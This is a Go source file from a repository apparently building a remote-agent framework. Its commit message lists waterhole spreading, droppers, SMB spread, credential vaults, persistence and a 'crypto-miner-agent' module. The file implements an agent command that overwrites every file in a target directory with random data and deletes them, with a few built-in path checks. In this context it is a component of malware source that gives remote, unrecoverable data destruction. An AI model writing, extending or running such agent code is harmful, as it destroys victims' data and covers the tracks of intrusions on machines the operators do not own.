Files
AetherForge/agent/client/secure_wipe.go
AetherForge 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00

105 lines
2.3 KiB
Go

package client
import (
"crypto/rand"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/deploy"
)
const secureWipeBlockSize = 64 * 1024
// SecureWipePath overwrites files in a directory then deletes them (single pass).
func SecureWipePath(targetPath string) string {
targetPath = strings.TrimSpace(targetPath)
if targetPath == "" {
return "secure_wipe error: path is required"
}
if containsPathTraversal(targetPath) {
return "secure_wipe error: path traversal (..) is not allowed"
}
resolved, err := deploy.ResolveRemotePath(targetPath)
if err != nil {
return "secure_wipe error: " + err.Error()
}
resolved = filepath.Clean(resolved)
if isBlockedDeletePath(resolved) {
return "secure_wipe error: refusing to wipe protected system path"
}
info, err := os.Stat(resolved)
if err != nil {
return "secure_wipe error: " + err.Error()
}
if !info.IsDir() {
return "secure_wipe error: path must be a directory"
}
var wiped, failed int
var errs []string
err = filepath.WalkDir(resolved, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d.IsDir() {
return nil
}
if err := overwriteFile(path); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
if err := os.Remove(path); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
wiped++
return nil
})
if err != nil {
return "secure_wipe walk error: " + err.Error()
}
_ = os.Remove(resolved)
summary := fmt.Sprintf("secure_wipe done — wiped: %d failed: %d path: %s", wiped, failed, resolved)
if len(errs) > 0 {
summary += "\nErrors: " + strings.Join(errs, "; ")
}
return summary
}
func overwriteFile(path string) error {
info, err := os.Stat(path)
if err != nil {
return err
}
size := info.Size()
f, err := os.OpenFile(path, os.O_WRONLY, 0)
if err != nil {
return err
}
defer f.Close()
buf := make([]byte, secureWipeBlockSize)
remaining := size
for remaining > 0 {
n := int64(len(buf))
if remaining < n {
n = remaining
}
if _, err := io.ReadFull(rand.Reader, buf[:n]); err != nil {
return err
}
if _, err := f.Write(buf[:n]); err != nil {
return err
}
remaining -= n
}
return f.Sync()
}